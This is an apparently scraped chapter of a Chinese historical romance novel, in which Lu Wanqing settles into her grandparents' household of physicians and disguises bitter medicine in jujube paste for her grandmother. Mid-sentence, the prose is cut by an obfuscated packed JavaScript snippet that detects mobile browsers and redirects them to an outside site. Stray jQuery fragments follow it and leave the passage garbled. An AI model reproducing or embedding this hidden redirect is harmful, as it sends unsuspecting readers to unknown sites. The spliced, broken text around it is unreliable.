方才陆婉清还未进府时，便有下人早早通传，此时一大家子人正聚齐于厅内，等着见她这位表小姐。


    她多年不曾回过外祖家，哪里识得这一干人等，初来乍到也不敢行差踏错半步，只看上首坐的两位两鬓发白，想必是她外祖父和外祖母，盈盈欠身见礼：“婉清见过外祖父、外祖母。”


    外祖父颔首，有些感慨地问：“来了就好来了就好啊，此次可要多住些时日，你外祖母十分挂念你。”


    说罢，她外祖母被人搀着走上前来，双手将她托住，一双历经岁月却仍清明的眼睛此时已蓄满热泪，苏老太太膝下只有一子一女，唯一的女儿远嫁京城年岁不永，漫漫长夜她不知为此流过多少眼泪。如今见到了她留下的血脉，如何能不有所触动？


    陆婉清心里也是一酸，站在一旁的年轻妇人忙上前来劝解：“母亲，如今外孙女这不是回来看您了嘛，母亲快别伤心了。”


    唤外祖母作母亲，想来这位便是舅母了，面色一片祥和，相貌虽只是清秀但胜在气质出尘，想必是个好相处的，她微微欠身又唤了声舅母。


    容夫人早在陆婉清进厅门时便将她细细打量了一番，见这外甥女言行不俗，便知是个有教养的姑娘，此时点头笑道：“表姑娘生得如天仙般，又这般知书达理，咱们府里的姑娘们竟都比不上了。”


    陆婉清自知是句夸辞，忙续道：“我倒觉得外祖家的姐妹们才是个个都好，百花齐放。”


    一番话夸到众人的心坎上，她舅母容夫人顺势替她引荐：“这是你瑶华姐姐，这是你二舅舅家的瑶光姐姐，这是你瑶音妹妹，这是你子轩、子墨二位表哥。”


    瑶华端丽、瑶光内敛、瑶音活泼，子轩温良、子墨热忱，其中瑶光、子墨是二舅舅所出，外祖家这一支并未分家，二舅舅是外祖父的庶子。


    众人互相见礼相认后，苏老太太又问：“华姐儿，你妹妹的住处可都安排好了，院里的丫头婆子们一应都预备下了吧？”


    瑶华恭谨地回道：“昨日便已早早备好了，另外前日府上新进的时令瓜果也一并替婉清妹妹备了一份，暑热之际尝些新鲜的，解热最好不过了。”


    苏老太太点点头，赞许地夸道：“华姐儿惯是细心的，如今有你管家，我和你母亲都十分放心。”


    陆婉清原不知内情倒有些惊讶，如今这府里一应大小之事竟是瑶华表姐统管，她对这位表姐不由心生几分敬意。


    两位舅舅一位在太医院当差，每月休沐之时方才回家一趟，另一位出远门去置办药材采买之事，尚没有机会拜见。


    瑶华领着陆婉清去她的院子，特意与众姐妹安排在同一个院落，不怕冷清。


    房内布置得极为用心，淡淡的兰草香萦绕，两个长相乖巧的小丫鬟站在门口，瑶华指着她二人介绍：“我瞧你只带了荔芝一个贴身女使，房里总有些粗活需要人手，这是琴心、棋思，她们俩年纪虽轻，但做事机灵，若有什么不妥帖之处，妹妹只管调|教才是。”


    陆婉清连忙道谢：“表姐的安排极好，日后只怕还有要叨扰表姐之处，我先在此谢过表姐了。”


    瑶华嘴角含笑：“素来听闻表妹是个最得体的姑娘，今日得以一见才知传闻所言非虚，我们一大家都是好相处的，只是你二位表哥与祖父之间有些禁忌，我提前说与你听，免得你日后不知情冲撞了他们，这倒不妙了。”


    瑶华表姐以诚相待，陆婉清心下亦是十分感激，道：“表姐请说，妹妹我定然是一应遵从。”


    瑶华牵着陆婉清的手在茶桌前坐下，语气谨慎地说：“妹妹你知道，我们苏家历来是医学世家，所秉承的宗旨始终是悬壶济世、行医救人，我苏家名下产业有医馆数十间，遍布淮东三个县辖，历任医馆坐诊大夫都是当辈医术最好的后生。


    可偏偏在我父亲这辈出了岔子，你也知道我父亲如今是在太医院当差，虽说外人看来是领朝廷俸禄，为天子诊脉，但祖父其实并不认同。祖父认为我们学医行医，为的是治病救人，他觉得宫里的太医不过是阿谀媚上的角色，为着这事与我父亲置气多年，也是因此，如今淮扬城里的三家医馆分别是由我小叔，还有两位旁系的叔伯坐诊。”


    陆婉清的确不知这其中内情，可从瑶华表姐的描述中，也不难想象，只怕他外祖父与舅舅这数年关系都一直僵着呢。


    瑶华继续说道：“可幸我二弟子轩天生医才圣手，草药辨识、古方医术自幼便天赋灵巧，我祖父对他寄予厚望，家族医馆眼见着快到了十年一换任的时候，可偏巧我二弟又闹着要去经商，医馆的继任他显然没放在心上，祖父知道了又发了一通脾气。


    这次你二舅舅出门采买药材的差事，本该是二弟去的，祖父不许他出去，这才改换了小叔去，如今子轩被祖父要求日日去济世堂坐诊，便是有让他继任小叔医馆的意思。可子轩的性子最像祖父，两人都是个倔强性子，谁也降伏不了谁，可且有的闹的呢，你可别去触霉头。”


    陆婉清点点头，听得有些入迷，瑶华见她这模样反倒笑了，陆婉清不解，瑶华却宠溺地捏了捏陆婉清的脸颊肉，笑道：“婉清方才点头的样子像只啄米的小鸡崽。”


    陆婉清从瑶华手下挣扎开，有些害羞地反驳：“表姐你真坏，竟拿妹妹我取笑。”


    瑶华不逗弄她了，整理着衣摆起身：“妹妹你一路舟车劳顿，我就不过多叨扰，你先好好休整一番，我还得去瞧瞧午膳的席面，待会用饭时我再派人来请你过去，或者让瑶光、瑶音带你一同过去亦可。”


    陆婉清多谢她想得周到，心下再次暗叹她这位瑶华表姐确是个精明能干的。


    待瑶华走远，琴心、棋思这两个小丫鬟便送来了热水、沐浴用的浴桶、香夷子，她心想的确是两个机灵的，让荔芝给她二人皆赐了些赏钱，二人受赏谢恩后便在房外听吩咐。


    沐浴这等贴身服侍之事，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824650|158793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    除了与她一同长大的荔芝，她也不习惯旁人伺候，褪去衣衫浸泡在热水中，她舒服地发出满足的喟叹，让身体渐渐沉入水中，所有疲惫都在这热水浴中消散。


    午间用饭女眷单独一桌，四道荤菜、四道素菜、三道凉菜、一份汤盅，席面做得极为精致。席面上的菜式都是她在京城没吃过的，其中清炖蟹粉狮子头兼具了海鲜的清香与肉的鲜美，汤汁浓郁却不油腻；冬瓜鸭子汤以瓜雕做盛汤的容器，鸭肉回味悠长，冬瓜清甜解腻，颇具特色。


    用完午膳，苏老太太是有午憩的习惯，女使们搀扶着老夫人预备回房，陆婉清趁着这个机会，也跟上前去搀住外祖母的胳膊，陪同苏老太太侍奉她午睡。


    外祖母在里间睡着，她便在外间坐着，听外祖母睡间时不时传来两声咳嗽，便问外祖母的贴身女使春晓：“外祖母平日里也睡得这般不安稳吗？”


    春晓点点头叹息道：“老夫人近来都有些肺热上火，午间和晚上入睡都有些咳喘，老爷和二哥儿都替老夫人诊脉看过，也一日日熬了调理的药，可老夫人如今年岁大了，倒像小孩儿似的，总是嫌药太苦，五次里有三次都推脱了不肯服药，一拖二推的便成了个顽疾。”


    陆婉清蹙眉，这可怎么成？外祖母如今不比壮年，拖成慢性病，日后若引出什么旁的病症来可怎么好。她思虑半晌又问：“若制成药丸呢？”


    春晓摇摇头：“为了让老太太服药，也想过这法子，制成药丸虽比汤药好入口，但给老太太调理的方子里有一味药极苦，老太太用了几次后又不肯吃药了，只说她身上的不是什么大病，不愿听咱们的话服药。”


    女使们在一旁熬药，陆婉清有些漫无目的地在小厨房踱步，瞥眼瞧见一盘红枣，她思虑片刻，心中有了主意。


    待苏老太太午憩醒来后，春晓侍奉她穿衣，陆婉清则端来一盏莲子茶，提前泡好又晾凉了片刻，此时喝温度正好。


    苏老太太午睡起来正是口渴之时，莲子茶清爽，老太太连饮几大口，那盏茶便快见底了。


    陆婉清笑着接过茶盏，又接过荔芝递来的一碟食盒，将盒盖揭开，一丝枣泥香便溢了出来。


    苏老太太问：“婉儿，你这葫芦里又卖的什么药？”


    陆婉清端上前去，用食叉亲自叉了一颗，喂到苏母嘴边：“外祖母自个儿亲自尝一口，不就知道我这葫芦里卖的是什么药了吗？”


    那药丸入口是枣泥香甜，咬开后渐渐品出些苦味，但一咀嚼又淹没在枣泥的甘甜中。


    春晓见老太太肯吃，忙笑道：“老太太如今真成小孩子了，汤药药丸都嫌苦不愿吃，亏得表姑娘费心，想了这么个办法，将药丸做小颗包进枣泥中。”


    苏老太太很是触动，将陆婉清搂在怀里：“好孩子，你的一片苦心外祖母知道了。”


    陆婉清感受着外祖母怀里的温暖，离开京城，跋涉千里，总算是找到了一方可以依靠的港湾。